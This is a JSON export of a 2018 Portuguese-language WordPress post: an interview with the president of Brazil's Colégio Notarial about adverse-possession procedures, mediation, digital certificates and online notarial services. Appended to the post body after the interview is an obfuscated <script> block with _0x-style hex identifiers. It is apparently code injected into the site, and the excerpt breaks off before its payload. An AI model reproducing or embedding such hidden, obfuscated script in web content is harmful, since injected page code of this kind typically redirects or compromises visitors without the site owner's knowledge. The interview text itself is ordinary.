{"id":1005,"date":"2018-05-21T14:56:48","date_gmt":"2018-05-21T17:56:48","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/sem-seguranca-digital-nao-pode-haver-seguranca-juridica\/"},"modified":"2018-05-21T14:56:48","modified_gmt":"2018-05-21T17:56:48","slug":"sem-seguranca-digital-nao-pode-haver-seguranca-juridica","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/sem-seguranca-digital-nao-pode-haver-seguranca-juridica\/","title":{"rendered":"\u201cSem seguran\u00e7a digital n\u00e3o pode haver seguran\u00e7a jur\u00eddica\u201d"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Finalizado um &ldquo;novo ano notarial&rdquo;, como assim definiu o per&iacute;odo entre os eventos nacionais do notariado, o presidente do Col&eacute;gio Notarial do Brasil, Paulo Roberto Gaiger Ferreira, fez, durante o XXIII Congresso Notarial Brasileiro, realizado entre os dias 16 e 18 de maio, em Foz do Igua&ccedil;u, no Paran&aacute;, uma avalia&ccedil;&atilde;o das a&ccedil;&otilde;es que vem sendo promovidas pela entidade em prol dos tabeli&atilde;es brasileiro.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Usucapi&atilde;o extrajudicial, media&ccedil;&atilde;o e concilia&ccedil;&atilde;o e a inser&ccedil;&atilde;o do notariado na economia digital foram as molas propulsoras da a&ccedil;&atilde;o da entidade no &uacute;ltimo ano e seguir&atilde;o sendo a agenda priorit&aacute;ria no pr&oacute;ximo ano, provendo os servi&ccedil;os e treinamentos necess&aacute;rios para que os not&aacute;rios possam atuar diante destes novos desafios.<\/p>\n<p>Leia abaixo a &iacute;ntegra da entrevista.<\/p>\n<p><strong>CNB\/CF &#8211; Decorrido um ano do Congresso de Jo&atilde;o Pessoa, quais foram os avan&ccedil;os do notariado?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211; <\/strong>N&oacute;s tivemos um ano de important&iacute;ssimas conquistas. No ano passado, a usucapi&atilde;o extrajudicial era uma quimera jur&iacute;dica, um imposs&iacute;vel f&aacute;tico. Havia a necessidade de anu&ecirc;ncia expressa dos titulares de direitos reais. Em julho, a Lei 13.465 corrigiu isso e em dezembro o Conselho Nacional de Justi&ccedil;a editou o Provimento 65, um dos mais s&aacute;bios textos normativos que j&aacute; vi. Outra d&aacute;diva deste ano foi a regulamenta&ccedil;&atilde;o da Lei 13.140, de 2015, que trata da media&ccedil;&atilde;o e concilia&ccedil;&atilde;o. O Provimento 67, de mar&ccedil;o deste ano, inicia nossa caminhada na desjudicializa&ccedil;&atilde;o dos conflitos. N&oacute;s podemos agora trabalhar com a concilia&ccedil;&atilde;o e media&ccedil;&atilde;o. N&oacute;s tivemos nossa compet&ecirc;ncia ampliada. Finalmente, avan&ccedil;amos muito em dire&ccedil;&atilde;o ao documento digital, aos atos notariais eletr&ocirc;nicos.<\/p>\n<p><strong>CNB\/CF &ndash; Qual a import&acirc;ncia da realiza&ccedil;&atilde;o dos Congressos Notariais para a atividade?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211; <\/strong>N&oacute;s temos o ano solar, de janeiro a dezembro, o ano letivo, o agr&iacute;cola, o ano da Copa, das elei&ccedil;&otilde;es, n&oacute;s temos o ano fiscal, e n&oacute;s temos tamb&eacute;m o nosso ano, o ano notarial, este que finda e se inicia no nosso congresso. &Eacute; o momento de abra&ccedil;ar a todos, de conversarmos, de confidenciarmos projetos e ang&uacute;stias, de nos unirmos num anima, num desejo conjunto, fraterno e institucional, de aperfei&ccedil;oarmos a nossa atua&ccedil;&atilde;o. Todos que participam vem com a esperan&ccedil;a da troca, do conhecimento, do crescimento pessoal, do bem para nossos clientes, para a sociedade. Esta &eacute; a raz&atilde;o de nossa uni&atilde;o no Col&eacute;gio Notarial do Brasil. &Eacute; hora tamb&eacute;m da gest&atilde;o prestar contas de nossa a&ccedil;&atilde;o, dos avan&ccedil;os e dos desafios que temos. &Eacute; hora do balan&ccedil;o anual, n&atilde;o de frios n&uacute;meros de contabilidade, mas do mais importante: a renova&ccedil;&atilde;o do esp&iacute;rito notarial.<\/p>\n<p><strong>CNB\/CF &ndash; Qual a import&acirc;ncia da ata notarial de usucapi&atilde;o para a atividade notarial?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211;<\/strong> Creio que todos conhecem nossa vergonhosa estat&iacute;stica: segundo o Minist&eacute;rio da Cidades, mais de 50 por cento dos im&oacute;veis urbanos tem alguma irregularidade. Isto significa que temos 80 milh&otilde;es de pessoas vivendo sem titula&ccedil;&atilde;o, nas cidades, sem falar no problema das propriedades rurais. N&oacute;s temos a chance de auxiliar, de socorrer juridicamente, 80 milh&otilde;es de brasileiros. Esta &eacute; a import&acirc;ncia da nova norma. Sempre, sempre, o notariado esteve a margem da regulariza&ccedil;&atilde;o fundi&aacute;ria e, perdoem-me a rudeza, em boa parte porque muitos de n&oacute;s n&atilde;o querem por a m&atilde;o nesta cumbuca. A nova lei ressalta nossa responsabilidade social, o dever com a na&ccedil;&atilde;o, com esta sociedade t&atilde;o carente. O notariado brasileiro foi chamado. Tem o dever de colaborar e vai responder &agrave; responsabilidade de regularizar a propriedade urbana e rural brasileira. A ata notarial de usucapi&atilde;o deve ser por n&oacute;s defendida, estimulada, propagada.<\/p>\n<p><strong>CNB\/CF &ndash; Qual ser&aacute; a participa&ccedil;&atilde;o do notariado brasileiro na media&ccedil;&atilde;o e na concilia&ccedil;&atilde;o?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211;<\/strong> O Provimento 67, de mar&ccedil;o deste ano, inicia nossa caminhada na desjudicializa&ccedil;&atilde;o dos conflitos. Podemos agora trabalhar com a concilia&ccedil;&atilde;o e media&ccedil;&atilde;o. N&oacute;s tivemos nossa compet&ecirc;ncia ampliada. Temos um novo campo de a&ccedil;&atilde;o e o desafio de colaborar com o Poder Judici&aacute;rio para pacificar os conflitos no Brasil. Esta ser&aacute; a miss&atilde;o mais ousada e nobre de nossa exist&ecirc;ncia. Os meios alternativos de resolu&ccedil;&atilde;o de conflitos, a arbitragem, a media&ccedil;&atilde;o e concilia&ccedil;&atilde;o, a negocia&ccedil;&atilde;o, s&atilde;o frutos da ci&ecirc;ncia do s&eacute;culo XX. A psicologia, o direito, as ci&ecirc;ncias sociais d&atilde;o-se as m&atilde;os e prop&otilde;em aos litigantes um caminho aut&ocirc;nomo, sem o dixit judicial, para o acerto, a composi&ccedil;&atilde;o entrepartes. O not&aacute;rio pode atuar como conciliador, mediador, ou auxiliar conciliadores e mediadores com sua estrutura, lavrando os instrumentos de pacifica&ccedil;&atilde;o ou apenas constatando o infrut&iacute;fero acordo.<br \/>\n&nbsp;<br \/>\n<strong>CNB\/CF &ndash; Como o notariado brasileiro poder&aacute; contribuir com a desjudicializa&ccedil;&atilde;o das demandas na Justi&ccedil;a brasileira?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211;<\/strong> Quem negar&aacute; que o Brasil vive em conflito? O relat&oacute;rio Justi&ccedil;a em N&uacute;meros, do CNJ, informa que trafegaram pela Justi&ccedil;a, em 2016, mais de 110 milh&otilde;es de processos. E a Justi&ccedil;a foi lenta, ineficaz, negligente? N&atilde;o, de modo algum. Os ju&iacute;zes brasileiros julgaram, em um ano, aproximadamente 30 milh&otilde;es de processos, o que resultou num acervo, para 2017, de 80 milh&otilde;es de processos. E assim vai, a cada ano, o nosso Poder Judici&aacute;rio enfrenta uma Imposs&iacute;vel tarefa, um beco sem sa&iacute;da que deixa o mais vener&aacute;vel de nossos poderes em constante press&atilde;o. Se n&oacute;s pud&eacute;ssemos em algum tempo colaborar para reduzir o n&uacute;mero de a&ccedil;&otilde;es judiciais em 10 por cento, n&oacute;s ter&iacute;amos 8 milh&otilde;es de escrituras ou atas em nossas mesas de trabalho. Os litigantes teriam o alento de uma solu&ccedil;&atilde;o oriunda de seu querer, um compromisso mais c&eacute;lere, o fim de um per&iacute;odo de providencias caras como a produ&ccedil;&atilde;o de provas, per&iacute;cias, audi&ecirc;ncias, prazos e o risco da perda deles. A redu&ccedil;&atilde;o da ang&uacute;stia, a conquista da certeza e vida que segue, sem perdedores ou vencedores, com pessoas que escolheram o acordo. Nosso sistema legal precisa da sua autodisrup&ccedil;&atilde;o. O est&iacute;mulo &agrave; concilia&ccedil;&atilde;o e media&ccedil;&atilde;o permite reinventar a justi&ccedil;a brasileira. O nosso compromisso est&aacute; aqui firmado. O Col&eacute;gio Notarial do Brasil lutar&aacute; para transformar o tabeli&atilde;o em agente da paz, da seguran&ccedil;a jur&iacute;dica para os acordos feitos. Vamos buscar a capacita&ccedil;&atilde;o do notariado brasileiro, segundo as normas do Conselho Nacional de Justi&ccedil;a, e vamos propor &agrave; advocacia um esfor&ccedil;o conjunto para a busca da auto composi&ccedil;&atilde;o.<\/p>\n<p><strong>CNB\/CF &ndash; Como o notariado deve se posicionar diante da nova economia digital?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &ndash; <\/strong>Hoje temos a economia digital, a sociedade cibern&eacute;tica, o documento eletr&ocirc;nico, o ato notarial eletr&ocirc;nico. Tenho certeza que muitos se arrepiam com o tema. N&oacute;s temos o grupo do &ldquo;Let&acute;s rock&rdquo;, que prop&otilde;e um salto para o futuro, o livro digital, a assinatura remota. Do outro lado, h&aacute; os que dizem &ldquo;Sai Fora, quero as minhas Olivetti e Remington de volta&rdquo;, o papel &eacute; que &eacute; seguro. Este confronto demonstra que temos de seguir a busca apaixonada pela certeza documental, pela seguran&ccedil;a jur&iacute;dica do instrumento notarial. Come&ccedil;amos o trabalho com uma pesquisa com nossos associados. Recebemos mais de 1.600 respostas, obtendo um diagn&oacute;stico substancial do notariado brasileiro e suas necessidades. A partir delas, elaboramos o Manual de Boas Pr&aacute;ticas do Ambiente Tecnol&oacute;gico indicando como operar um tabelionato de notas com equipamentos e softwares adequados e seguros, apresentamos a pol&iacute;tica de seguran&ccedil;a da informa&ccedil;&atilde;o e fizemos recomenda&ccedil;&otilde;es aos tabeli&atilde;es, tendo em conta os recursos e necessidades do pequeno, do m&eacute;dio e do grande tabelionato. Saibam todos, como em nossas escrituras, saibam todos que n&atilde;o h&aacute; seguran&ccedil;a jur&iacute;dica em meio digital se n&atilde;o conhecermos, se n&atilde;o dominarmos a tecnologia. Sem seguran&ccedil;a digital n&atilde;o pode haver seguran&ccedil;a jur&iacute;dica. A seguran&ccedil;a &eacute; meio e fim.<br \/>\n&nbsp;<br \/>\n<strong>CNB\/CF &ndash; Quais a&ccedil;&otilde;es t&ecirc;m sido promovidas pelo Col&eacute;gio Notarial para a presta&ccedil;&atilde;o de servi&ccedil;os digitais?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211;<\/strong> Nossa a&ccedil;&atilde;o agora &eacute; prover servi&ccedil;os que padronizem a defesa dos atos notariais prestados de modo eletr&ocirc;nico. A seguran&ccedil;a no meio digital &eacute; complexa e nossa responsabilidade com a guarda dos dados e dos atos dos cidad&atilde;os brasileiros &eacute; inescap&aacute;vel. Lan&ccedil;amos no Congresso o servi&ccedil;o de backup em nuvem, ou seja, um reposit&oacute;rio centralizado dos dados, onde proveremos a m&aacute;xima seguran&ccedil;a poss&iacute;vel. Este servi&ccedil;o, provido pela Microsoft em acordo sob medida para o CNB, que seria dispendioso para qualquer um, proteger&aacute; a todos n&oacute;s, sem custo para a maioria dos colegas.<br \/>\n&nbsp;<br \/>\n<strong>CNB\/CF &ndash; Como conduzir a mudan&ccedil;a do suporte papel para o documento eletr&ocirc;nico?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211; <\/strong>Trabalhamos com a manifesta&ccedil;&atilde;o da vontade. Nossos atos s&atilde;o o instrumento jur&iacute;dico para a executividade do acordo de vontades. No papel, h&aacute; mil&ecirc;nios, a vontade vem manifestada pela assinatura de pr&oacute;prio punho. A tinta indel&eacute;vel permanece em nossos livros por centenas de anos. No meio eletr&ocirc;nico, a vontade se manifesta pela assinatura digital ou por novos meios, como a biometria. O notariado n&atilde;o sobreviver&aacute; se n&atilde;o entender como opera um certificado digital, se n&atilde;o atuar com prud&ecirc;ncia em face de novos meios de manifesta&ccedil;&atilde;o da vontade.<\/p>\n<p><strong>CNB\/CF &ndash; A certifica&ccedil;&atilde;o digital precisa ent&atilde;o ser incorporada &agrave; realidade do notariado brasileiro?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211;<\/strong> At&eacute; este instante, nossa atua&ccedil;&atilde;o com certificados digitais &eacute; decepcionante. Nossa participa&ccedil;&atilde;o na ICP Brasil &eacute; irrelevante. O uso de assinaturas digitais resume-se unicamente &agrave;s aplica&ccedil;&otilde;es do governo e ao acesso &agrave; nossa Censec, a Central Notarial de Servi&ccedil;os Compartilhados. Vamos mudar isso. Radicalmente. Em primeiro lugar, estamos revendo a parceria com a empresa que nos prove os certificados padr&atilde;o ICP-Brasil. Mas o mais importante: em junho, come&ccedil;aremos a emitir os nossos pr&oacute;prios certificados, com a m&aacute;xima seguran&ccedil;a tecnol&oacute;gica. N&oacute;s fundaremos a ICP Notarial, na qual teremos o controle completo da tecnologia e poderemos prover, ao Notariado e &agrave; sociedade, o servi&ccedil;o de manifesta&ccedil;&atilde;o da vontade sob nossa confian&ccedil;a. A tecnologia est&aacute; sendo toda desenvolvida por n&oacute;s e a opera&ccedil;&atilde;o ser&aacute; plenamente controlada pelo Notariado.<br \/>\n&nbsp;<br \/>\n&nbsp;<strong>CNB\/CF &ndash; O lan&ccedil;amento de um portal de servi&ccedil;os eletr&ocirc;nicos se insere ent&atilde;o nesta mudan&ccedil;a na presta&ccedil;&atilde;o de servi&ccedil;os?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211;<\/strong> A constru&ccedil;&atilde;o do Escritura Simples, um site pelo qual o usu&aacute;rio pode, de seu celular ou computador, solicitar a escritura e acompanhar o seu andamento at&eacute; o momento em que comparece ao tabeli&atilde;o para assinar se insere dentro deste projeto do not&aacute;rio digital. Este projeto, constru&iacute;do em parceria com a secretaria da presid&ecirc;ncia da Rep&uacute;blica, facilita a transmiss&atilde;o e o registro da propriedade, melhorando a posi&ccedil;&atilde;o do Brasil no relat&oacute;rio Doing Business, do Banco Mundial. O Escritura Simples nada mais &eacute; que um balc&atilde;o de atendimento eletr&ocirc;nico, pelo qual os not&aacute;rios poder&atilde;o ser escolhidos pela popula&ccedil;&atilde;o para darem andamento &agrave;s suas escrituras. J&aacute; finalizamos a experimenta&ccedil;&atilde;o com tabeli&atilde;es de Bras&iacute;lia, do Rio de Janeiro e de S&atilde;o Paulo. A partir de agora, iniciaremos a expans&atilde;o para todas as capitais e at&eacute; o fim do ano para todos os tabeli&atilde;es interessados.<br \/>\n&nbsp;<br \/>\n<strong>CNB\/CF &ndash; Quais s&atilde;o os principais objetivos deste portal notarial?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211;<\/strong> Temos tr&ecirc;s objetivos com o Escritura Simples: primeiro, fornecer uma plataforma de atendimento eletr&ocirc;nico para o tabeli&atilde;o; segundo, simplificar o contato do cidad&atilde;o com os not&aacute;rios deixando-o &agrave; vontade com seu celular ou computador. Finalmente, nosso prop&oacute;sito mais ambicioso, &eacute; colaborar com o Brasil, melhorando a percep&ccedil;&atilde;o das pessoas e agentes imobili&aacute;rios quanto &agrave; transmiss&atilde;o da propriedade, o que resultar&aacute; em nosso crescimento no relat&oacute;rio <em>Doing Business<\/em>.<br \/>\n&nbsp;<br \/>\n<strong>CNB\/CF &ndash; Atuar no combate &agrave; corrup&ccedil;&atilde;o e &agrave; lavagem de dinheiro &eacute; outra demanda do notariado brasileiro?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211;<\/strong> Estamos buscando a regulamenta&ccedil;&atilde;o de nossa participa&ccedil;&atilde;o no combate &agrave; corrup&ccedil;&atilde;o e &agrave; lavagem de dinheiro. J&aacute; colaboramos com milhares de informa&ccedil;&otilde;es que provemos &agrave; for&ccedil;a tarefa da opera&ccedil;&atilde;o Lava Jato atrav&eacute;s de nossa Censec. Podemos fazer mais: n&oacute;s queremos prover informa&ccedil;&atilde;o qualificada e pr&eacute;via para os &oacute;rg&atilde;os de controle, permitindo a preven&ccedil;&atilde;o e a detec&ccedil;&atilde;o r&aacute;pida destes crimes. Por este trabalho, fomos homenageados pelo COAF, o Conselho de Controle de Atividades Financeiras, com o Diploma de M&eacute;rito por nosso trabalho no combate &agrave; corrup&ccedil;&atilde;o e &agrave; lavagem de dinheiro no Pa&iacute;s.<br \/>\n&nbsp;<br \/>\n<strong>CNB\/CF &ndash; H&aacute; outras propostas do notariado para contribuir com a desburocratiza&ccedil;&atilde;o de procedimentos?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211;<\/strong> Estivemos quase semanalmente no Congresso Nacional, dialogando, oferecendo propostas, contestando outras. Na Comiss&atilde;o Mista de Desburocratiza&ccedil;&atilde;o, apresentamos medidas para simplificar procedimentos no Brasil. Fomos recepcionados como um dos segmentos respons&aacute;veis pela burocracia, fizemos ver aos deputados e senadores que nosso papel pode ser justamente o inverso. O resultado n&atilde;o poderia ser melhor: das 16 propostas que oferecemos, 13 foram aceitas e j&aacute; tramitam como projetos de lei que tem razo&aacute;vel consenso das bancadas pol&iacute;ticas e poder&atilde;o ser aprovadas ainda este ano.<br \/>\n&nbsp;<br \/>\n<strong>CNB\/CF &ndash; Como preparar o notariado para esta extensa gama de novos servi&ccedil;os?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211;<\/strong> Este ano, iniciaremos um extenso programa de capacita&ccedil;&atilde;o para o notariado brasileiro, nestas tr&ecirc;s &aacute;reas. Como fizemos ap&oacute;s a aprova&ccedil;&atilde;o da Lei 11.441, quando percorremos este Brasilz&atilde;o de sul a norte, Leste-Oeste, treinando mais de 1.500 colegas. Nosso dever agora &eacute; de prover conhecimento, fomentar o debate e a atua&ccedil;&atilde;o de cada colega em sua comunidade para impulsionar a regulariza&ccedil;&atilde;o fundi&aacute;ria, iniciar a atua&ccedil;&atilde;o como conciliador ou mediador e implementar o notariado digital. Tudo o que constru&iacute;mos e a confian&ccedil;a recebida do Estado e da sociedade merecem nosso humilde agradecimento.<br \/>\n&nbsp;<br \/>\n<strong>CNB\/CF &ndash; A parceria com os &oacute;rg&atilde;os da Justi&ccedil;a &eacute; essencial para que se atinjam estes objetivos?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &#8211;<\/strong> A Corregedoria Nacional de Justi&ccedil;a assumiu seu papel normativo e nos proveu com o que eu considero nossa maior for&ccedil;a: um padr&atilde;o de atendimento que impulsionar&aacute; nossa atua&ccedil;&atilde;o. Nosso agradecimento ao ministro Jo&atilde;o Noronha, Corregedor Nacional, e ao juiz M&aacute;rcio Evangelista Ferreira da Silva, que com ele atua e foi um farol orientador para n&oacute;s. Nosso agradecimento tamb&eacute;m aos tribunais e Corregedorias estaduais de Justi&ccedil;a, que tem promovido os concursos p&uacute;blicos e tem correicionado a atividade orientando, prevenindo e corrigindo nossos erros. Tamb&eacute;m &eacute; essencial agradecer &agrave; minha diretoria, aos dirigentes das seccionais do CNB e a tantos colegas que anonimamente dedicam-se, colaboram nesta caminhada.<br \/>\n&nbsp;<br \/>\n<strong>CNB\/CF &ndash; Que recado final deixaria ao notariado brasileiro nesse ano que se inicia at&eacute; o pr&oacute;ximo Congresso Notarial brasileiro?<\/strong><br \/>\n&nbsp;<br \/>\n<strong>Paulo Roberto Gaiger Ferreira &ndash;<\/strong> Deixo um lamento e numa esperan&ccedil;a. Como &eacute; triste vermos as pessoas t&atilde;o isoladas, armadas de preconceitos e com ouvidos cerrados para o outro, para o oposto. Nos lares, nas ruas, no trabalho, nas associa&ccedil;&otilde;es, na vida pol&iacute;tica brasileira: tem faltado sensibilidade, paci&ecirc;ncia, compaix&atilde;o. N&oacute;s temos que resgatar o entendimento, temos que ceder, ouvir, tolerar e atender o interesse do outro. Jack Kornfield, um escritor budista, um s&aacute;bio, nos ensina que na vida &ldquo;tr&ecirc;s coisas importam: se realmente vivemos bem, se realmente amamos bem e se realmente aprendemos a abrir m&atilde;o&rdquo;. Vamos viver bem, amar bem e aprender a abrir m&atilde;o.<br \/>\n&nbsp;<br \/>\n&nbsp;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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